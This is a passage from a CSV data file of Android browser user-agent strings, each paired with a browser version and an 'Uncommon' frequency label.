AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z740 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-P769 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\",3,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-au; GT-I9305T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; HUAWEI Y300-0100 Build/HuaweiY300-0100) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SoftwinerEvb Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0(Linux/3.4.5; U; Android 4.4.2; zh-cn; Lenovo A536 Build/KOT49H)AppleWebKit/534.30 (KHTML, like Gecko) Version/4.4.2 Mobile Safari/534.30 Release/01.17.2014\",4.4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110/1.53.502.12 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-I110 Build/FH1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; Garminfone Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17; A50-V5.0.70-user-20101025\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Prestige 7L_4.1 Build/Prestige) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nMozilla/5.0 (Android 6.0.1;) AppleWebKit/1.1 Version/4.0 Mobile Safari/1.1,4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-R530U Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 USCC-R530U\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; A1-810 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N8013 Build/JZO54K),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; PM36100/2.22.502.1 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; fi-fi; GT-P5220 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; SM-G530H Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-LS855 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; it-it; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5200 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; LG-LS995 Build/JDQ39B) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; U670C Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-L710 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; ja-jp; F-01F Build/V10R22A) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; Lephone_TD506_TD/1.0 Android/4.0.3 Release/3.20.2013 Browser/AppleWebKit534.30 Build/MocorDroid4.0.3) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; ALCATEL ONETOUCH P310A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SGH-T999 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; LG-E405f Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; WFJWAE Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-I9505 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; SAMSUNG GT-I9100/I9100XWMS2 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4016A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-us; SGH-T859 Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I317M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-I9100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_One_M8/1.58.502.1 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SAMSUNG-SGH-I897 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; SM-T211 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N8000 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; VS910 4G Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; GT-I9300 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Android 5.0.1; HTC6525LVW Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) NTENTBrowser/2.0.0.22 (Kcell-KZ) Mobile Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-ca; GT-P7500R Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-R740C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; LG-P509 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; DA220HQL Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-LS840 Build/ZVK.IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"DESAY TS1008/1.0 Release/07.12.2013 Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Xoom Build/IMM76L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; it-it; GT-S6500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; SM-T310 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; A500 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; XT560 Build/V1.67A) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-nz; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; es-us; ADR8995 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-ca; Transformer TF101 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I8190T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Micromax A35 Build/IML74K) AppleWebKit/534.30(KHTML,like Gecko) \t\t\tVersion/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SAMSUNG-SGH-I997 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; XT603 Build/5.5.1Q-117_PAX-79) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; pt-br; SM-T111M Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.1; en-us; Velocitymicro/T410) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I317M-parrot Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Amaze_4G Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; DROID RAZR 4G Build/6.5.1-167_DHD-14_M3-8) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-au; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; pt-br; GT-I9000B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; it-it; GT-I9001 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; pl-pl; GT-S5570 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-N8013 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4015A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P3110 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Micromax A72 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; ADVAN E1C+ Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; Vodafone 785 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30 SVN/120HJG1\",4.2,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-G930V Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; LG-P505/V10i Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; Dell Streak 7 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; ru-ru; GT-S5282 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.3.5/250) Dalvik/2.1.0 (Linux; U; Android 6.0.1; SAMSUNG-SM-G925A Build/MMB29K),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; zh-tw; C6602 Build/10.4.1.B.0.101) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; generic Build/unknown) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-mx; ONE TOUCH 4033A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0.1; SCH-I545 Build/LRX22C),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC_T120C Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Venue 7 3730 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; es-us; HUAWEI G610-U15 Build/HuaweiG610-U15) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; pt-br; SM-G530BT Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120/1.26.502.12 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9105P Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; ME173X Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; GT-P5113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-gb; GT-I9100P-ORANGE/I9100PBVKI3 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; es-us; HTC0P3P7 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Y220-U10 Build/HUAWEIY220-U10) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P3100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-ca; SonyEricssonLT15a Build/4.0.2.A.0.42) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; LG-MS690 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; sv-se; SonyST21i Build/11.0.A.4.22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; es-us; HTC_0PCV220/1.11.506.5 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SCH-R680 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 USCC-R680\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Android 4.4.2; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; pt-br; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; Desire HD Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; ja-jp; SC-06D Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-P5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Alcatel A851L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Mobile Safari/534.30\",4.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; LG-E400f Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; USCC-US780 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; T21 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android Eclair; en-us Build/pandigitalopc1/sourceidDL00000009) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; fr-fr; GT-I9060I Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3.1; en-us; SAMSUNG-SGH-I727 Build/JLS36I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 CyanogenMod/10.2.0/skyrocket\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Transformer Prime TF201 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SonyLT30at Build/9.1.F.1.120) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; MZ601 Build/I.7.1-45) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-au; GT-I9305 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-au; GT-I9100T Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI Y330-U05 Build/HuaweiY330-U05) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_DesireHD_A9191 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110/1.53.502.11 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; es-us; SM-G360P Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P3110 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T211 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SPH-L900 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Android 5.0.1; HTC6525LVW Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) NTENTBrowser/2.0.0.49 (ProjectFreedom-US) Mobile Safari/537.36\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I535 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; Coolpad8150S Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; ASUS_T00J Build/JSS15Q) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-ph; SM-G530H Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; Z520m Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2; Ezcast Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36/ezcast\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWA Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6350 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 